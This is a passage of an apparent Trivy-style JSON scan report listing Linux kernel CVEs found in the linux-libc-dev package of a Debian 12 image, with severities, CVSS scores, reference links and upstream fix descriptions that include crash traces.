"https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98549" ], "PublishedDate": "2026-10-18T16:17:06.913Z", "LastModifiedDate": "2026-10-30T13:21:15.94Z" }, { "VulnerabilityID": "CVE-2026-98573", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98573", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e52cb71fe22c886e65353097633a09c715fc181eeb17223a77fc268944dd03bc", "Title": "kernel: net: skbuff: fix pull-bound underflow in skb_checksum_setup_ipv6()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: fix pull-bound underflow in skb_checksum_setup_ipv6()\n\nskb_maybe_pull_tail() subtracts skb_headlen(skb) from the unsigned max\nargument and passes the result to __pskb_pull_tail() as a signed int. The\nfunction does not ensure that max is at least skb_headlen(skb).\n\nThis can happen while parsing IPv6 extension headers when an skb already\nhas a linear area larger than MAX_IPV6_HDR_LEN. Once the parser needs data\nbeyond the linear area, max - skb_headlen(skb) wraps and is converted to a\nnegative delta. __pskb_pull_tail() then passes that negative length to\nskb_copy_bits(), where it can become a very large copy length.\n\nPass the requested length itself as the pull bound at the three\nextension-header call sites, so the delta can no longer go negative.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98573", "https://access.redhat.com/security/cve/CVE-2026-98573", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98573.mbox", "https://git.kernel.org/stable/c/3b4e0b0c008a8c1b474730248cd5b873026c74bd", "https://git.kernel.org/stable/c/6c28c31f051dbf49c71ba7ab7bb9bc905fa1d14b", "https://git.kernel.org/stable/c/718747afa5463d9cc5fd9a09f03b2a492edd9b78", "https://git.kernel.org/stable/c/9c4e432132a97b82edf28fa172c39f743e6bfb26", "https://git.kernel.org/stable/c/a0ad0473c09d2e947aecac5c82e637ec85924b12", "https://git.kernel.org/stable/c/b2da5ed3d8c75e1b729a21b6d3beaed415e263f6", "https://git.kernel.org/stable/c/cfa643f2ca36c6f913fe1a2ceb12412ebb0fd962", "https://git.kernel.org/stable/c/d7f474226809471dc7877435e9c492cc914df0bf", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-idogxjih1owf.toml", "https://linux.oracle.com/cve/CVE-2026-98573.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98573", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98573" ], "PublishedDate": "2026-10-18T16:17:09.587Z", "LastModifiedDate": "2026-10-19T10:19:15.453Z" }, { "VulnerabilityID": "CVE-2026-98614", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5cc7bc17b4313ebc0763eb668361166003c98a9e185f58bdd795fabedcbcf964", "Title": "kernel: sctp: avoid livelock while updating retransmit path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: avoid livelock while updating retransmit path\n\nsctp_assoc_update_retran_path() can loop forever when every remaining\ntransport, including retran_path, is SCTP_UNCONFIRMED: the state check\nruns before the wraparound test, so the loop cannot observe that it has\ncompleted a full pass.\n\nFix this by considering a transport only when it is not UNCONFIRMED,\nthen checking whether the walk has returned to retran_path. This makes\nthe full-pass termination independent of the transport state while\npreserving the existing fallback selection semantics.\n\nAlso restore the NULL guard around the retran_path assignment. In the\nall-UNCONFIRMED case there is no eligible replacement transport, and\ninstalling NULL would leave later retransmit-path users and the debug\nprint with a NULL path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98614", "https://access.redhat.com/security/cve/CVE-2026-98614", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98614.mbox", "https://git.kernel.org/stable/c/173610fff55022a5ad1579fbcc7faa97467b58b7", "https://git.kernel.org/stable/c/3fe624c3843694ab096fdb198526ba0c659febbe", "https://git.kernel.org/stable/c/43410c1f2db53516e95ddd7e5b4b02f495b78121", "https://git.kernel.org/stable/c/83b1a7f9e718828ef364a7b004254ebb2d0035fe", "https://git.kernel.org/stable/c/c9338057df1025f578fe7d0ff08bada87b8b838d", "https://git.kernel.org/stable/c/d2c31b837406395e576afeb25958c98e9938f3f6", "https://git.kernel.org/stable/c/d893a7cc1cb41dd510f338bb2bfd8f29b14eaf49", "https://git.kernel.org/stable/c/ddc34cc0834c873871e88b055ee6a260676efe97", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-u6zqwgyfcgeo.toml", "https://linux.oracle.com/cve/CVE-2026-98614.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98614", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98614" ], "PublishedDate": "2026-10-18T16:17:14.267Z", "LastModifiedDate": "2026-10-19T10:19:25.303Z" }, { "VulnerabilityID": "CVE-2026-98621", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98621", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:602bcf372e78ee900e87106c5d9bf1eaf20bad623877e4f8b99849ccd608e04d", "Title": "kernel: net: gue: reject invalid REMCSUM offsets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gue: reject invalid REMCSUM offsets\n\nThe REMCSUM option carries an absolute checksum start and checksum field\noffset. gue_remcsum() passes them to skb_remcsum_process(), whose\npartial path stores offset - start in the u16 skb-\u003ecsum_offset variable.\nIf offset is less than start, this underflows.\n\nA forwarded packet can retain CHECKSUM_PARTIAL and reach a NETIF_F_HW_CSUM\ndriver which trusts the metadata, leading skb_copy_and_csum_dev() to write\ntwo bytes about 64 KiB beyond the destination buffer.\n\nReject reversed tuples in validate_gue_flags(), after the existing length\nvalidation, so all GUE parsers enforce the ordering in one place.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98621", "https://access.redhat.com/security/cve/CVE-2026-98621", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98621.mbox", "https://git.kernel.org/stable/c/1d664be4ca49d1696e85239236f4988dfc4653c3", "https://git.kernel.org/stable/c/1eeec0c51fd5598da44080ed96bbd9880021c28b", "https://git.kernel.org/stable/c/2566866fc30965d915d0b52b5c3323b362619f0e", "https://git.kernel.org/stable/c/40aeafbcbc7bc4018e8f74bbbb4d29ed8846f57f", "https://git.kernel.org/stable/c/43efb1f997e976f386aa89716f55870cd2cff9ad", "https://git.kernel.org/stable/c/4b9bc21b2396c396d88dd909caaf73d5be6ff593", "https://git.kernel.org/stable/c/97f907203321eee2cc9132d5c9eb47698fb41d35", "https://git.kernel.org/stable/c/c20f755338ca234e523dfc943719f194dfc1f903", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-ywihoct68xw3.toml", "https://linux.oracle.com/cve/CVE-2026-98621.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98621", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98621" ], "PublishedDate": "2026-10-18T16:17:14.997Z", "LastModifiedDate": "2026-10-19T10:19:26.217Z" }, { "VulnerabilityID": "CVE-2026-98715", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98715", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4607d061f0393d56fb55a97ee937b6cfda795539ccf8471c186f56353d7295ad", "Title": "kernel: KVM: SVM: Preserve TLB control (i.e. pending TLB flush) on failed VMRUN", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Preserve TLB control (i.e. pending TLB flush) on failed VMRUN\n\nDon't reset the VMCB's TLB control back to \"do nothing\" on a failed VMRUN,\nas empirical testing shows that the CPU performs the requested TLB flush if\nand only if VMRUN is successful, i.e. clearing TLB control on a failed\nVMRUN effectively drops a TLB flush.\n\nExplicitly track the need to flush all ASIDs on a per-CPU basis, as the\nASID reuse condition is tied to the pCPU, not to the vCPU. As a bonus,\nthis also obviates the need to avoid clobbering FLUSH_ALL_ASID with\nTLB_CONTROL_FLUSH_ASID, e.g. in svm_flush_tlb_asid().\n\nDeliberately don't bother saving/restoring the \"old\" tlb_ctl on failure,\nin quotes because it's not exactly the old tlb_ctl, it's the tlb_ctl from\nafter pre_svm_run(), but before updating tlb_ctl for flush_all_asids. If\nVMRUN fails and TLB_CONTROL_FLUSH_ALL_ASID is forced, then the next\nsuccessful run of the VMCB *may* unnecessarily flush all ASIDs, which\nstrictly speaking could result in noisy neighbor issues. However, the\nfact that new_asid() is already guest-triggerable, because of KVM's flawed\nbehavior of clearing the ASID on emulated INIT, means that a guest can\nalready trigger a flush of all ASIDs at roughly the same rate. And once\nKVM stops clobbering the ASID on emulated INIT, *or* assigns a static ASID\nto each vCPU, this flaw goes away.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98715", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98715.mbox", "https://git.kernel.org/stable/c/60d93c27859fb3ec5b5a689e24de303f166477d0", "https://git.kernel.org/stable/c/f2bd7cf6a83e49c710e2b93d3064fa0ebb7e0006", "https://git.kernel.org/stable/c/fd873c3d1b5240e80365f09e758e8c96b88a7cdb", "https://nvd.nist.gov/vuln/detail/CVE-2026-98715", "https://www.cve.org/CVERecord?id=CVE-2026-98715" ], "PublishedDate": "2026-10-18T16:17:25.05Z", "LastModifiedDate": "2026-11-06T18:18:30.193Z" }, { "VulnerabilityID": "CVE-2026-98716", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98716", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:57d6f97a26934461b1ac544856e66cd80aad35ec02ce94158a89b1d57179b3ee", "Title": "kernel: KVM: SVM: Use the active VMCB's MSR bitmap when checking if MSR is intercepted", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Use the active VMCB's MSR bitmap when checking if MSR is intercepted\n\nUse the MSR permission bitmap of the active VMCB instead of assuming that\nKVM is always using vmcb02's bitmap when L2 is active, as KVM uses msrpm02\nif and only if L1 wants to intercept MSR accesses, i.e. if and only if KVM\nneeds to merge msprm01 with msrpm12.\n\nDon't bother tracking the virtual address of the bitmap that's being used,\nas __va() is cheap on x86, and caching the virtual address would introduce\nyet another source of potentially stale information.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98716", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98716.mbox", "https://git.kernel.org/stable/c/001c78bc64389cabe4f9015ab3942ec9c3592caa", "https://git.kernel.org/stable/c/0e79ebf6f92a7d15187aede44204fa04b93e474c", "https://git.kernel.org/stable/c/318ef696fa3c712e46bb62a1a828c3cd62f390c3", "https://git.kernel.org/stable/c/552a110c403f1a61eba0bf71519c6585d9d4242d", "https://git.kernel.org/stable/c/55865b3ae03705aa39198783b9cb1f8b96eb44e4", "https://git.kernel.org/stable/c/74836ae4785b9754bb36d0b18fcc1dec4e5e98d2", "https://git.kernel.org/stable/c/84da7a0e92207444d9cbfe69965e17db29008f27", "https://git.kernel.org/stable/c/9e06bbb9ade7cdf28d4a3b5b14e5812881c8df85", "https://nvd.nist.gov/vuln/detail/CVE-2026-98716", "https://www.cve.org/CVERecord?id=CVE-2026-98716" ], "PublishedDate": "2026-10-18T16:17:25.15Z", "LastModifiedDate": "2026-10-30T13:21:20.837Z" }, { "VulnerabilityID": "CVE-2026-98725", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98725", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b77d3766f82d39814865e068da3d8d5f998875d79b4702d27b20cb69b7bebfe5", "Title": "kernel: nvmet-auth: fix out-of-bounds write in nvmet_auth_challenge()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-auth: fix out-of-bounds write in nvmet_auth_challenge()\n\nnvmet_auth_challenge() receives its output buffer as a void pointer.\nsizeof(*d) therefore evaluates to one with GCC and undercounts the fixed\nchallenge header by 15 bytes. A short AUTH_RECEIVE buffer can pass the\ncheck before the challenge is copied past the end of its allocation.\n\nUse the typed challenge pointer when calculating the response size.\n\n BUG: KASAN: slab-out-of-bounds in nvmet_execute_auth_receive (drivers/nvme/target/fabrics-cmd-auth.c:442 drivers/nvme/target/fabrics-cmd-auth.c:569)\n Write of size 32 by task kworker/1:1H/64\n Workqueue: nvmet_tcp_wq nvmet_tcp_io_work\n Call Trace:\n nvmet_execute_auth_receive (drivers/nvme/target/fabrics-cmd-auth.c:442 drivers/nvme/target/fabrics-cmd-auth.c:569)\n nvmet_tcp_try_recv_pdu (drivers/nvme/target/tcp.c:1119 drivers/nvme/target/tcp.c:1243)\n nvmet_tcp_io_work (drivers/nvme/target/tcp.c:1350 drivers/nvme/target/tcp.c:1382 drivers/nvme/target/tcp.c:1445)\n process_one_work (kernel/workqueue.c:3322)\n worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)\n kthread (kernel/kthread.c:436)\n ret_from_fork (arch/x86/kernel/process.c:158)\n ret_from_fork_asm (arch/x86/entry/entry_64.S:245)\n The buggy address is located 16 bytes inside of\n allocated 33-byte region [ffff888000554e80, ffff888000554ea1)\n Kernel panic - not syncing: KASAN: panic_on_warn set ...", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-98725", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98725.mbox", "https://git.kernel.org/stable/c/7fd3c363eba4f2aceb4b3f31cd1cf65e0dcbaee4", "https://git.kernel.org/stable/c/8a9b4c0eef19c207663c1ee888257307c869ca86", "https://git.kernel.org/stable/c/9d61131acd742cf97ee64e453383e41b46568513", "https://git.kernel.org/stable/c/e94ff1771c4cb398749789557f0b6feb871e3486", "https://git.kernel.org/stable/c/ef4dfad231a787aded76e5b03788ddb18c8aebab", "https://git.kernel.org/stable/c/fa6778e030bed9841ddcdf96bc7018da9ac03562", "https://linux.oracle.com/cve/CVE-2026-98725.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98725", "https://www.cve.org/CVERecord?id=CVE-2026-98725" ], "PublishedDate": "2026-10-18T16:17:26.12Z", "LastModifiedDate": "2026-10-30T13:21:21.28Z" }, { "VulnerabilityID": "CVE-2026-98741", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98741", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2fc61d4c9b5497f6ecb3cdb73a0e1a288e5e315c2daf78cb7718729f2b8f3694", "Title": "kernel: ALSA: ua101: reject mismatched capture/playback packet sizes", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: ua101: reject mismatched capture/playback packet sizes\n\ndetect_usb_format() cross-checks bSubframeSize, bBitResolution and\ntSamFreq between the capture and playback interfaces, but never relates\nthe two endpoints' wMaxPacketSize and bNrChannels. Each playback URB\ngets a buffer of ua-\u003eplayback.max_packet_bytes, while the number of\nbytes written into it is derived from the capture stream:\ncapture_urb_complete() computes frames from the received capture packet\nand capture.frame_bytes, and start_usb_playback() and playback_work()\nmultiply that by playback.frame_bytes.\n\nA device declaring a large capture wMaxPacketSize with few capture\nchannels and a small playback wMaxPacketSize with many playback channels\ntherefore memset()s and memcpy()s past the end of the playback buffer,\nin open() of the PCM node the driver registers during probe.\nusb_submit_urb() rejects the over-long iso_frame_desc[0].length with\n-EMSGSIZE, but only after the write.\n\nReject such descriptors at probe time. Genuine UA-101/UA-1000 hardware\ndeclares proportional packet sizes and is unaffected.\n\n BUG: KASAN: slab-out-of-bounds in start_usb_playback (sound/usb/misc/ua101.c:586)\n Write of size 2048 at addr ffff8881098f3c00 by task exploit/5021\n Call Trace:\n __asan_memset (mm/kasan/shadow.c:84)\n start_usb_playback (sound/usb/misc/ua101.c:586)\n playback_pcm_open (sound/usb/misc/ua101.c:679)\n snd_pcm_open_substream (sound/core/pcm_native.c:2829)\n snd_pcm_open (sound/core/pcm_native.c:2865 sound/core/pcm_native.c:2932)\n snd_pcm_playback_open (sound/core/pcm_native.c:2891)\n snd_open (sound/core/sound.c:166)\n chrdev_open (fs/char_dev.c:411)\n do_dentry_open (fs/open.c:996)\n vfs_open (fs/open.c:1101)\n path_openat (fs/namei.c:4837 fs/namei.c:5000)\n do_file_open (fs/namei.c:5029)\n do_sys_openat2 (fs/open.c:1417)\n __x64_sys_openat (fs/open.c:1423 fs/open.c:1439 fs/open.c:1434)\n do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)\n\n The buggy address belongs to the object at ffff8881098f3c00\n which belongs to the cache kmalloc-192 of size 192\n The buggy address is located 0 bytes inside of\n allocated 168-byte region [ffff8881098f3c00, ffff8881098f3ca8)", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98741", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98741.mbox", "https://git.kernel.org/stable/c/0a6a5eecc92c13f936d8d90975116d6bbdf4f876", "https://git.kernel.org/stable/c/4294fe57048594a9e158b61c967bb7f943cda477", "https://git.kernel.org/stable/c/86f86e6fdedc33c5b8d38b9208b350f8accf57ee", "https://git.kernel.org/stable/c/a2d326b3f6d470ea4bfde00245794e0dc6dbbc3d", "https://git.kernel.org/stable/c/ada5ded765f059a6e3036e69ca350449442af0fc", "https://git.kernel.org/stable/c/b54976c81a6b8cae311b75be1a4cda444689bca0", "https://git.kernel.org/stable/c/eb0c7fda59cf650076f8ed5b949a6c8441aa3606", "https://git.kernel.org/stable/c/fd3a7bf0d988b0878a1957df150edb35f81db87e", "https://nvd.nist.gov/vuln/detail/CVE-2026-98741", "https://www.cve.org/CVERecord?id=CVE-2026-98741" ], "PublishedDate": "2026-10-18T16:17:27.807Z", "LastModifiedDate": "2026-10-30T13:21:22.713Z" }, { "VulnerabilityID": "CVE-2026-98742", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3589e1ec45fc9b4892bcd3968b54bdd23838d8ce3d61bab6ce0654b4937de9a0", "Title": "kernel: kernel: Use-after-free via race condition in ALSA sequencer compatibility ioctls", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: seq: Serialize compat port-info ioctls\n\nThe native sequencer ioctl path serializes handler calls with\nclient-\u003eioctl_mutex, but the translated port-info compat path invokes the\nsame handlers through snd_seq_kernel_client_ctl() without taking that\nmutex.\n\nThis lets concurrent compat CREATE_PORT requests pass the port-count\ncheck before any request reaches the serialized insertion. The computed\ninteger port index can then exceed the address field range and wrap to an\nexisting index. Subsequent subscriber teardown can resolve the duplicate\naddress to the wrong port and access a freed subscriber.\n\nTake ioctl_mutex while dispatching converted port-info requests, matching\nthe native ioctl path. All translated port-info commands share this\nhelper, so their accesses to the client port state are serialized as\nwell.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98742", "https://git.kernel.org/stable/c/14e178c60ba1cea49186fcfccac93d66aa94e9e0", "https://git.kernel.org/stable/c/2c0cce3a5a660270d65729b0f318d4e01470479d", "https://git.kernel.org/stable/c/2db234e163f0d211b69a4eebbec8aacc5a54a80e", "https://git.kernel.org/stable/c/413211dd31cb2ef2fc99fb0aa1a037a97509502c", "https://git.kernel.org/stable/c/4980768c5d092493be0deb20d1ee86aa661466f8", "https://git.kernel.org/stable/c/702d92f361f65d9698c473c7599d471395dc4341", "https://git.kernel.org/stable/c/95b2e0361c88753afa030c10698be0a1a5b67650", "https://git.kernel.org/stable/c/fc5c52848e405b6efb073db5035bb9ebaed11ec4", "https://kernelcve.org/list/?q=CVE-2026-98742", "https://nvd.nist.gov/vuln/detail/CVE-2026-98742", "https://www.cve.org/CVERecord?id=CVE-2026-98742" ], "PublishedDate": "2026-10-18T16:17:27.92Z", "LastModifiedDate": "2026-10-30T13:21:22.93Z" }, { "VulnerabilityID": "CVE-2026-98769", "PkgID": 